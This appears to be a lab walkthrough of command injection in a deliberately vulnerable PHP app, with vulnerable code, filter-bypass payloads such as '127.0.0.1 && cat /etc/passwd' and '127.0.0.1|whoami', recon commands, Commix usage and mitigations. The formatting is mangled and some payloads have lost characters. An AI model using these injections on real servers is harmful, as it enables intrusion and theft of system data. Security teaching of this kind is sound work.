Command Injection (also known as Remote Command Execution or RCE) is a critical security vulnerability that allows attackers to execute arbitrary operating system commands on the server running the application.In this attack scenario, the vulnerable application acts like a pseudo system shell, executing commands specified by the attacker with the same privileges and environment as the web service.
Command injection attacks occur due to lack of proper input validation on data that gets passed to system command execution functions. User-controllable input from forms, cookies, HTTP headers, and other sources can be manipulated by attackers to inject additional commands.
The low security level has no input validation whatsoever. User input is passed directly to the shell_exec() PHP function, allowing complete command injection.
$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping commandif( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target );}else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target );}$html .= "<pre>{$cmd}</pre>";```bash**Key Vulnerability**: The `$target` variable is directly concatenated into a shell command with zero validation or sanitization.#### Why It's Vulnerable- No input validation or filtering- Direct string concatenation into shell command- Output is displayed directly to the user- Uses `shell_exec()` which executes commands through the system shell- Accepts input from `$_REQUEST` (GET, POST, or Cookie)#### Command Chaining OperatorsOn Linux/Unix systems, you can chain commands using:| Operator | Description | Example ||----------|-------------|----------|| `;` | Execute commands sequentially | `cmd1 ; cmd2` || `&&` | Execute second command only if first succeeds | `cmd1 && cmd2` || `||` | Execute second command only if first fails | `cmd1 || cmd2` || `|` | Pipe output of first command to second | `cmd1 | cmd2` || `` `cmd` `` | Command substitution | ``echo `whoami` `` || `$(cmd)` | Command substitution | `echo $(whoami)` |On Windows:| Operator | Description ||----------|-------------|| `&` | Execute both commands || `&&` | Execute second if first succeeds || `||` | Execute second if first fails || `|` | Pipe output |#### Testing Approach1. **Test basic injection**: Try `127.0.0.1 && whoami`2. **Get username**: `127.0.0.1 && whoami`3. **Get hostname**: `127.0.0.1 && hostname`4. **List files**: `127.0.0.1 && ls -la`5. **Read files**: `127.0.0.1 && cat /etc/passwd`<Accordion title="Show Hint"> You can add additional commands after the IP address. Think about how to chain commands in a shell. On Linux/Unix, what operator allows you to execute multiple commands in sequence? After pinging successfully, what command shows the current user?</Accordion><Accordion title="Show Spoiler"> **Example payload**: `127.0.0.1 && whoami` This works because: 1. The `&&` operator executes the second command after the first succeeds 2. `ping -c 4 127.0.0.1` completes successfully 3. Then `whoami` is executed, showing the current user For the hostname:
127.0.0.1 && hostname
You can also use other operators:
127.0.0.1 ; whoami # Sequential execution
127.0.0.1 | whoami # Pipe (may not work with ping)
127.0.0.1 whoami # Command substitution
On Windows:
127.0.0.1 && whoami
127.0.0.1 & dir
</Accordion> </Tab> <Tab title="Medium"> ### Vulnerability Analysis The medium level implements a **blacklist filter** that attempts to block certain command chaining operators. However, the blacklist is incomplete and can be easily bypassed. #### Vulnerable Code ```php $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the characters in the array (blacklist) $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Execute the ping command if( stristr( php_uname( 's' ), 'Windows NT' ) ) { $cmd = shell_exec( 'ping ' . $target ); } else { $cmd = shell_exec( 'ping -c 4 ' . $target ); }
Key Vulnerability: The blacklist only filters && and ;, but there are many other command chaining operators available.
Since the filter only removes && and ;, you can use:
Pipe operator|:
127.0.0.1 | whoami
OR operator||:
invalid_ip || whoami
Command substitution:
127.0.0.1 `whoami` $(whoami)
Backgrounding (Linux):
127.0.0.1 & whoami
Show Hint
The developer blocked && and ;, but those aren’t the only ways to chain commands in a shell.Think about other operators. What about piping? What about backgrounding commands? What about command substitution?
Show Spoiler
Example payload: 127.0.0.1 | whoamiThe pipe operator | is not in the blacklist, so it passes through.Other working payloads:
# Using OR operator (execute if first command fails) invalid_ip || whoami # Using background operator 127.0.0.1 & whoami # Using command substitution 127.0.0.1 `whoami` $(whoami).127.0.0.1 # Using newline (if not filtered) 127.0.0.1whoami
The hint in the help file mentions “backgrounding the ping command”, referring to the & operator.
$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array( '||' => '', '&' => '', ';' => '', '| ' => '', // Note the space after the pipe! '-' => '', '$' => '', '(' => '', ')' => '', '`' => '',);// Remove any of the characters in the array (blacklist)$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Execute ping command$cmd = shell_exec( 'ping -c 4 ' . $target );```bash**Key Vulnerability**: The filter blocks `'| '` (pipe with space) but **NOT** `'|'` (pipe without space).#### Why It's Still Vulnerable- The blacklist includes `'| '` with a space, but not `'|'` without a space- This is likely a typo by the developer- Uses `trim()` to remove leading/trailing spaces, but this doesn't help- Still uses blacklisting instead of whitelisting#### The Critical TypoLook at this blacklist entry:```php'| ' => '', // Pipe followed by a space
The developer added many more filters and even used trim() to remove spaces. But they made a small typo in the filter list.Look carefully at the blacklist - one of the operators has an extra character. What if you remove that character?The help file mentions that trim() removes leading and trailing spaces. Does it remove ALL spaces?
Show Spoiler
Example payload: 127.0.0.1|whoamiNotice there’s NO space between the IP and the pipe operator.The blacklist filters '| ' (with space) but not '|' (without space).Working payloads:
127.0.0.1 || whoami
127.0.0.1 & dir
127.0.0.1 whoami
127.0.0.1 $(whoami)
3. **Test with newlines**:
127.0.0.1
whoami
4. **Test command substitution**:
whoami.127.0.0.1
$(whoami).127.0.0.1
### Useful Commands**Linux/Unix:**```bashwhoami # Current userhostname # Machine nameid # User ID and groupsuname -a # System informationls -la # List filescat /etc/passwd # Read password filepwd # Current directoryifconfig # Network configurationps aux # Running processes
Windows:
whoami # Current userhostname # Machine nameipconfig # Network configurationdir # List filestype C:\file.txt # Read filenet user # List userssysteminfo # System information```bash### Automated TestingTools like **Commix** (Command Injection Exploiter) can automate testing:```bash# Basic scancommix -u "http://target/exec/" --data="ip=127.0.0.1&Submit=Submit"# Custom injection pointcommix -u "http://target/exec/" --data="ip=INJECT_HERE&Submit=Submit"
Use native language features instead of shell commands
PHP has filter_var($ip, FILTER_VALIDATE_IP) for IP validation
Use libraries instead of system tools when possible
Input Validation (Whitelist)
// Only allow valid IP addressesif (filter_var($ip, FILTER_VALIDATE_IP)) { // Safe to use}// Only allow alphanumericif (preg_match('/^[a-zA-Z0-9]+$/', $input)) { // Safe to use}
3. **Use Safe APIs** ```php // Instead of shell_exec("ping $ip") // Use built-in functions or safe wrappers // Use escapeshellarg() if you must use shell commands $safe_ip = escapeshellarg($ip); $cmd = shell_exec("ping -c 4 $safe_ip");
5. **Principle of Least Privilege** - Run web server with minimal permissions - Use restricted shell environments - Disable dangerous PHP functions in php.ini6. **Disable Dangerous Functions** ```ini disable_functions = exec,passthru,shell_exec,system,proc_open,popen